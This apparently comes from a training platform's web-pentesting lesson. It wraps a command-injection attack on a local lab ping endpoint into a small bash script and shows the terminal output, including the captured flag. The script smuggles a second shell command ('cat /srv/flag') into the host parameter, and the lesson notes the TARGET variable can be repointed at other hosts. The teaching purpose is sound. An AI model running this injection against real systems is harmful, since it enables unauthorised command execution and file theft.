From one request to a script

Write it down so you can run it again

Once an exploit works, capture it in a script. You get a repeatable proof-of-concept, a single place to change the target, and something you can hand to whoever fixes the bug. Here's the command injection from module 3 as a tiny script:

cat > exploit.sh <<'EOF'
#!/bin/bash
TARGET=http://127.0.0.1:8080
curl -s "$TARGET/api/ping?host=127.0.0.1;cat%20/srv/flag"
EOF
chmod +x exploit.sh
./exploit.sh

In the terminal

student@vulntech:~$ cat > exploit.sh <<'EOF'
> #!/bin/bash
> TARGET=http://127.0.0.1:8080
> curl -s "$TARGET/api/ping?host=127.0.0.1;cat%20/srv/flag"
> EOF
student@vulntech:~$ chmod +x exploit.sh
student@vulntech:~$ ./exploit.sh
vulntech{web_pentest_machine_ready}
ping: socktype: SOCK_RAW
ping: socket: Operation not permitted
ping: => missing cap_net_raw+p capability or setuid?

Putting the target in a TARGET variable means you change one line to point the same attack at a different host.

HOME LEARN COMMUNITY DASHBOARD
Practice terminal Starting…